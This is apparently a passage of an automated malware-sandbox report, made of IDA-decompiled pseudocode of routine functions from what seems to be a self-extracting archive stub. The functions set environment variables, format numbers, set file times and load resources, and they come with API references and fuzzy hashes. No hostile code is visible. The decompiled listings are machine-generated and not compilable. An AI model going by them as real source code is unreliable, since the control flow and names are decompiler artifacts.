				_t14 = __eflags;
				E013BCEC0();
				SetEnvironmentVariableW(L"sfxcmd", _a4);
				_t7 = E013AEF59(_t14, _a4,  &_v8196, 0x1000);
				_t12 = _t7;
				if(_t12 != 0) {
					_push( *_t12 & 0x0000ffff);
					while(E013AF050() != 0) {
						_t12 =  &(_t12[1]);
						__eflags = _t12;
						_push( *_t12 & 0x0000ffff);
					}
					_t7 = SetEnvironmentVariableW(L"sfxpar", _t12);
				}
				return _t7;
			}

0x013bbe09
0x013bbe11
0x013bbe1f
0x013bbe34
0x013bbe39
0x013bbe3d
0x013bbe42
0x013bbe4c
0x013bbe45
0x013bbe45
0x013bbe4b
0x013bbe4b
0x013bbe5b
0x013bbe5b
0x013bbe65

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 013BBE1F
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 013BBE5B

Strings

sfxpar, xrefs: 013BBE56
sfxcmd, xrefs: 013BBE1A

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: e605649ed02a30bf786849ccc7c5ed1695aec8cc94bad671f8e1212acaa3c689
Instruction ID: ff994c0421240c65e932ee788445c352f44f496162450f1550201ad9f15b1640
Opcode Fuzzy Hash: e605649ed02a30bf786849ccc7c5ed1695aec8cc94bad671f8e1212acaa3c689
Instruction Fuzzy Hash: B1F0A772401225ABD7252BD9AC48AFB7BACDF14B46F000015FF4C66215EA708840C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 013C6541 Relevance: 6.3, APIs: 4, Instructions: 305
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E013C6541(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E013C2626(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v48 + 0x88))))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E013BD040( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E013BD040( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t54 = _t186 - 1; // 0x13c2c40
							_t116 = _t54;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E013BDE40(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E013BD040( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E013BD360();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E013BD360();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E013BD360();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E013C6844(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E013CF250(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E013C5E2E();
					_t183 = 0x22;
					 *_t129 = _t183;
					E013C5D0D();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t183;
				}
			}

0x013c6541
0x013c654c
0x013c6553
0x013c6555
0x013c6555
0x013c6557
0x013c6560
0x013c6562
0x013c6567
0x013c656d
0x013c6583
0x013c6588
0x013c658b
0x013c6598
0x013c659d
0x013c65f1
0x013c65f9
0x013c65fb
0x013c65fd
0x013c6600
0x013c6600
0x013c6600
0x013c6606
0x013c660e
0x013c6621
0x013c6624
0x013c6626
0x013c6629
0x013c662a
0x013c664b
0x013c664e
0x013c664e
0x013c662c
0x013c662c
0x013c662e
0x013c6639
0x013c6639
0x013c663b
0x013c6642
0x013c663d
0x013c663d
0x013c663d
0x013c663b
0x013c664f
0x013c6651
0x013c6652
0x013c6655
0x013c6657
0x013c666b
0x013c6659
0x013c6659
0x013c6659
0x013c6670
0x013c6670
0x013c6675
0x013c6678
0x013c6683
0x013c6683
0x013c6683
0x013c6683
0x013c6687
0x013c668e
0x013c668f
0x013c6692
0x013c6695
0x013c6695
0x013c6697
0x00000000
0x00000000
0x013c66af
0x013c66b6
0x013c66ba
0x013c66bd
0x013c66c0
0x013c66c2
0x013c66c2
0x013c66c2
0x013c66c4
0x013c66c7
0x013c66ca
0x013c66cc
0x013c66d4
0x013c66da
0x013c66dd
0x013c66e0
0x013c66e1
0x013c66e4
0x013c66e7
0x013c66e7
0x013c66ec
0x013c66ef
0x00000000
0x00000000
0x013c6707
0x013c670c
0x013c6710
0x00000000
0x00000000
0x013c6714
0x013c6714
0x013c6717
0x013c6718
0x013c6718
0x013c671a
0x013c671d
0x00000000
0x00000000
0x013c671f
0x013c6722
0x013c6729
0x013c672c
0x013c672f
0x013c6745
0x013c6745
0x013c6745
0x013c6731
0x013c6731
0x013c6733
0x013c6736
0x013c6741
0x013c6738
0x013c673b
0x013c673b
0x013c6736
0x00000000
0x013c672f
0x013c6724
0x013c6724
0x013c6726
0x013c6726
0x013c667a
0x013c667a
0x013c667d
0x013c6748
0x013c6748
0x013c674a
0x013c674c
0x013c674f
0x013c6750
0x013c6751
0x013c6752
0x013c675a
0x013c675a
0x013c675a
0x013c675c
0x013c675f
0x013c6762
0x013c6764
0x013c6764
0x013c6766
0x013c6778
0x013c677c
0x013c677f
0x013c6786
0x013c678e
0x013c678e
0x013c6791
0x013c6793
0x013c67a4
0x013c67a4
0x013c67a8
0x013c67a8
0x013c67ab
0x013c67ad
0x013c67b0
0x00000000
0x013c6795
0x013c6795
0x013c679b
0x013c679b
0x013c679f
0x013c67b2
0x013c67b2
0x013c67b6
0x013c67b7
0x013c67b9
0x013c67bb
0x013c67fc
0x013c67fc
0x013c67fe
0x013c680b
0x013c680b
0x013c680d
0x013c680f
0x013c6810
0x013c6811
0x013c6818
0x013c681b
0x013c681d
0x013c681d
0x013c681e
0x013c6820
0x013c6823
0x013c6823
0x013c6825
0x013c6827
0x00000000
0x013c6827
0x013c6800
0x013c6802
0x00000000
0x00000000
0x013c6804
0x00000000
0x00000000
0x013c6806
0x013c6809
0x00000000
0x00000000
0x00000000
0x013c6809
0x013c67c2
0x013c67c8
0x013c67c8
0x013c67ca
0x013c67cb
0x013c67cc
0x013c67cd
0x013c67d4
0x013c67d7
0x013c67d9
0x013c67da
0x013c67dc
0x013c67e9
0x013c67e9
0x013c67eb
0x013c67ed
0x013c67ee
0x013c67ef
0x013c67f6
0x013c67f9
0x013c67fb
0x013c67fb
0x00000000
0x013c67fb
0x013c67de
0x013c67de
0x013c67e0
0x00000000
0x00000000
0x013c67e2
0x00000000
0x00000000
0x013c67e4
0x013c67e7
0x00000000
0x00000000
0x00000000
0x013c67e7
0x013c67c4
0x013c67c6
0x00000000
0x00000000
0x00000000
0x013c67c6
0x013c6797
0x013c6799
0x00000000
0x00000000
0x00000000
0x013c6799
0x013c6793
0x00000000
0x013c667d
0x013c6678
0x013c659f
0x013c65a1
0x00000000
0x013c65a3
0x013c65b9
0x013c65be
0x013c65c0
0x013c65cc
0x013c65d2
0x013c65d3
0x013c65d5
0x013c65d7
0x013c65e2
0x013c65e2
0x013c65e5
0x013c65e7
0x013c65e7
0x013c65ea
0x013c65c2
0x013c65c2
0x013c65c2
0x00000000
0x013c65c0
0x013c656f
0x013c656f
0x013c6576
0x013c6577
0x013c6579
0x013c682b
0x013c682f
0x013c6834
0x013c6834
0x013c6843
0x013c6843

APIs

_strrchr.LIBCMT ref: 013C65CC
__alldvrm.LIBCMT ref: 013C67CD
__alldvrm.LIBCMT ref: 013C67EF

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: be6c9d0d7c1be526505d416ba69bbcf9729ec644743c8de63497f1cd699fda8f
Instruction ID: 000664bd3a9c37fd193a3fa2c9117eac86be372ca27b7eda3d549dadf6fb619e
Opcode Fuzzy Hash: be6c9d0d7c1be526505d416ba69bbcf9729ec644743c8de63497f1cd699fda8f
Instruction Fuzzy Hash: 8CA166B29003869FEB22CF5CC8927BEBFE5EF61618F18056DD5859B381D2389C41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013A9F7A Relevance: 6.1, APIs: 4, Instructions: 127
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E013A9F7A(void* __edx) {
				signed char _t40;
				void* _t41;
				void* _t52;
				signed char _t70;
				void* _t79;
				signed int* _t81;
				signed int* _t84;
				void* _t85;
				signed int* _t88;
				void* _t90;

				_t79 = __edx;
				E013BCEC0();
				_t84 =  *(_t90 + 0x1038);
				_t70 = 1;
				if(_t84 == 0) {
					L2:
					 *(_t90 + 0x11) = 0;
					L3:
					_t81 =  *(_t90 + 0x1040);
					if(_t81 == 0) {
						L5:
						 *(_t90 + 0x13) = 0;
						L6:
						_t88 =  *(_t90 + 0x1044);
						if(_t88 == 0) {
							L8:
							 *(_t90 + 0x12) = 0;
							L9:
							_t40 = E013A9E63( *(_t90 + 0x1038));
							 *(_t90 + 0x18) = _t40;
							if(_t40 == 0xffffffff || (_t70 & _t40) == 0) {
								_t70 = 0;
							} else {
								E013AA113( *((intOrPtr*)(_t90 + 0x103c)), 0);
							}
							_t41 = CreateFileW( *(_t90 + 0x1050), 0x40000000, 3, 0, 3, 0x2000000, 0);
							 *(_t90 + 0x14) = _t41;
							if(_t41 != 0xffffffff) {
								L16:
								if( *(_t90 + 0x11) != 0) {
									E013AFF5D(_t84, _t79, _t90 + 0x1c);
								}
								if( *(_t90 + 0x13) != 0) {
									E013AFF5D(_t81, _t79, _t90 + 0x2c);
								}
								if( *(_t90 + 0x12) != 0) {
									E013AFF5D(_t88, _t79, _t90 + 0x24);
								}
								_t85 =  *(_t90 + 0x14);
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								SetFileTime(_t85,  ~( *(_t90 + 0x1b) & 0x000000ff) & _t90 + 0x00000030,  ~( *(_t90 + 0x16) & 0x000000ff) & _t90 + 0x00000024,  ~( *(_t90 + 0x11) & 0x000000ff) & _t90 + 0x0000001c);
								_t52 = CloseHandle(_t85);
								if(_t70 != 0) {
									_t52 = E013AA113( *((intOrPtr*)(_t90 + 0x103c)),  *(_t90 + 0x18));
								}
								goto L24;
							} else {
								_t52 = E013AB2C5( *(_t90 + 0x1040), _t90 + 0x38, 0x800);
								if(_t52 == 0) {
									L24:
									return _t52;
								}
								_t52 = CreateFileW(_t90 + 0x4c, 0x40000000, 3, 0, 3, 0x2000000, 0);
								 *(_t90 + 0x14) = _t52;
								if(_t52 == 0xffffffff) {
									goto L24;
								}
								goto L16;
							}
						}
						 *(_t90 + 0x12) = _t70;
						if(( *_t88 | _t88[1]) != 0) {
							goto L9;
						}
						goto L8;
					}
					 *(_t90 + 0x13) = _t70;
					if(( *_t81 | _t81[1]) != 0) {
						goto L6;
					}
					goto L5;
				}
				 *(_t90 + 0x11) = 1;
				if(( *_t84 | _t84[1]) != 0) {
					goto L3;
				}
				goto L2;
			}

0x013a9f7a
0x013a9f7f
0x013a9f8b
0x013a9f92
0x013a9f96
0x013a9fa3
0x013a9fa3
0x013a9fa7
0x013a9fa7
0x013a9fb0
0x013a9fbd
0x013a9fbd
0x013a9fc1
0x013a9fc1
0x013a9fca
0x013a9fd8
0x013a9fd8
0x013a9fdc
0x013a9fe3
0x013a9fe8
0x013a9fef
0x013aa005
0x013a9ff5
0x013a9ffe
0x013a9ffe
0x013aa020
0x013aa026
0x013aa02d
0x013aa077
0x013aa07c
0x013aa085
0x013aa085
0x013aa08f
0x013aa098
0x013aa098
0x013aa0a2
0x013aa0ab
0x013aa0ab
0x013aa0bb
0x013aa0bf
0x013aa0cf
0x013aa0df
0x013aa0e5
0x013aa0ec
0x013aa0f4
0x013aa101
0x013aa101
0x00000000
0x013aa02f
0x013aa040
0x013aa047
0x013aa106
0x013aa110
0x013aa110
0x013aa064
0x013aa06a
0x013aa071
0x00000000
0x00000000
0x00000000
0x013aa071
0x013aa02d
0x013a9fd2
0x013a9fd6
0x00000000
0x00000000
0x00000000
0x013a9fd6
0x013a9fb7
0x013a9fbb
0x00000000
0x00000000
0x00000000
0x013a9fbb
0x013a9f9d
0x013a9fa1
0x00000000
0x00000000
0x00000000

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,013A7F55,?,?,?), ref: 013AA020
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,013A7F55,?,?), ref: 013AA064
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,013A7F55,?,?,?,?,?,?,?,?), ref: 013AA0E5
CloseHandle.KERNEL32(?,?,00000000,?,013A7F55,?,?,?,?,?,?,?,?,?,?,?), ref: 013AA0EC

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 50e45f07dfc6e1c61316c737390087c7a954a7ab45264d28cdd5f0b3191fb5d8
Instruction ID: 04bfc1265633073e7a447558d7272cef1d3a903c5e725c81b5f90367bfda1924
Opcode Fuzzy Hash: 50e45f07dfc6e1c61316c737390087c7a954a7ab45264d28cdd5f0b3191fb5d8
Instruction Fuzzy Hash: D241C131288381AAE731DE28DC45BAFBBE8EB85708F44491DF6D5D31C0D664A60CDB52

Uniqueness

Uniqueness Score: -1.00%

Function 013C93E4 Relevance: 6.1, APIs: 4, Instructions: 110
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E013C93E4(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t69;
				signed int _t70;
				short* _t71;

				_t34 =  *0x13da1c8; // 0x21a16d55
				_v8 = _t34 ^ _t70;
				E013C2626(__ebx,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t6 = _v24 + 8; // 0xf5e85006
					_t53 =  *_t6;
					_t57 = _t53;
					_a24 = _t53;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E013BD763(_v8 ^ _t70);
				}
				_t55 = _t40 + _t40;
				asm("sbb eax, eax");
				if((_t55 + 0x00000008 & _t40) == 0) {
					_t69 = 0;
					L11:
					if(_t69 != 0) {
						E013BDE40(_t67, _t69, _t67, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t69, _v12);
						if(_t46 != 0) {
							_t67 = GetStringTypeW(_a8, _t69, _t46, _a20);
						}
					}
					L14:
					E013C7607(_t69);
					goto L15;
				}
				asm("sbb eax, eax");
				_t48 = _t40 & _t55 + 0x00000008;
				_t63 = _t55 + 8;
				if((_t40 & _t55 + 0x00000008) > 0x400) {
					asm("sbb eax, eax");
					_t69 = E013C59EC(_t63, _t48 & _t63);
					if(_t69 == 0) {
						goto L14;
					}
					 *_t69 = 0xdddd;
					L9:
					_t69 =  &(_t69[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E013CF160();
				_t69 = _t71;
				if(_t69 == 0) {
					goto L14;
				}
				 *_t69 = 0xcccc;
				goto L9;
			}

0x013c93ec
0x013c93f3
0x013c93ff
0x013c9404
0x013c9409
0x013c940e
0x013c940e
0x013c9411
0x013c9413
0x013c9413
0x013c9418
0x013c9431
0x013c9437
0x013c943c
0x013c94db
0x013c94df
0x013c94e4
0x013c94e4
0x013c9500
0x013c9500
0x013c9442
0x013c944a
0x013c944e
0x013c949a
0x013c949c
0x013c949e
0x013c94a3
0x013c94ba
0x013c94c2
0x013c94d2
0x013c94d2
0x013c94c2
0x013c94d4
0x013c94d5
0x00000000
0x013c94da
0x013c9455
0x013c9457
0x013c9459
0x013c9461
0x013c947e
0x013c9488
0x013c948d
0x00000000
0x00000000
0x013c948f
0x013c9495
0x013c9495
0x00000000
0x013c9495
0x013c9465
0x013c9469
0x013c946e
0x013c9472
0x00000000
0x00000000
0x013c9474
0x00000000

APIs

MultiByteToWideChar.KERNEL32(?,00000000,F5E85006,013C2784,00000000,00000000,013C2FB2,?,013C2FB2,?,00000001,013C2784,F5E85006,00000001,013C2FB2,013C2FB2), ref: 013C9431
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 013C94BA
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 013C94CC
__freea.LIBCMT ref: 013C94D5

Part of subcall function 013C59EC: RtlAllocateHeap.NTDLL(00000000,?,?,?,013C239A,?,0000015D,?,?,?,?,013C2F19,000000FF,00000000,?,?), ref: 013C5A1E

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 99b2761dc623bc8f65a2b1820132b47df13622ad089b9a006e6c68cf20af8294
Instruction ID: 630915132dfee5189c34b95745362a339ef0f4b5932068c85b7e329200a48489
Opcode Fuzzy Hash: 99b2761dc623bc8f65a2b1820132b47df13622ad089b9a006e6c68cf20af8294
Instruction Fuzzy Hash: 2331A372A0020A9BDF25DF69DC85EAEBBA9EB40B18F06416CFD14E7190E735DD50CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013B9A75 Relevance: 6.1, APIs: 4, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E013B9A75(void* __edx, void* __fp0) {
				intOrPtr _v20;
				intOrPtr _v24;
				void _v28;
				void* _t11;
				void* _t13;
				signed int _t18;
				signed int _t19;
				void* _t21;
				void* _t22;
				void* _t26;
				void* _t32;

				_t32 = __fp0;
				_t21 = __edx;
				_t22 = LoadBitmapW( *0x13dcba4, 0x65);
				_t19 = _t18 & 0xffffff00 | _t22 == 0x00000000;
				_t28 = _t19;
				if(_t19 != 0) {
					_t22 = E013B8BCF(0x65);
				}
				GetObjectW(_t22, 0x18,  &_v28);
				if(E013B8ABF(_t28) != 0) {
					if(_t19 != 0) {
						_t26 = E013B8BCF(0x66);
						if(_t26 != 0) {
							DeleteObject(_t22);
							_t22 = _t26;
						}
					}
					_t11 = E013B8B21(_v20);
					_t13 = E013B8CF2(_t21, _t32, _t22, E013B8ADE(_v24), _t11);
					DeleteObject(_t22);
					_t22 = _t13;
				}
				return _t22;
			}

0x013b9a75
0x013b9a75
0x013b9a8b
0x013b9a8f
0x013b9a92
0x013b9a94
0x013b9a9d
0x013b9a9d
0x013b9aa6
0x013b9ab3
0x013b9abe
0x013b9ac7
0x013b9acb
0x013b9ace
0x013b9ad0
0x013b9ad0
0x013b9acb
0x013b9ad5
0x013b9ae5
0x013b9aed
0x013b9aef
0x013b9af1
0x013b9af9

APIs

LoadBitmapW.USER32(00000065), ref: 013B9A85
GetObjectW.GDI32(00000000,00000018,?), ref: 013B9AA6
DeleteObject.GDI32(00000000), ref: 013B9ACE
DeleteObject.GDI32(00000000), ref: 013B9AED

Part of subcall function 013B8BCF: FindResourceW.KERNELBASE(00000066,PNG,?,?,013B9AC7,00000066), ref: 013B8BE0
Part of subcall function 013B8BCF: SizeofResource.KERNEL32(00000000,751F5B70,?,?,013B9AC7,00000066), ref: 013B8BF8
Part of subcall function 013B8BCF: LoadResource.KERNEL32(00000000,?,?,013B9AC7,00000066), ref: 013B8C0B
Part of subcall function 013B8BCF: LockResource.KERNEL32(00000000,?,?,013B9AC7,00000066), ref: 013B8C16

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

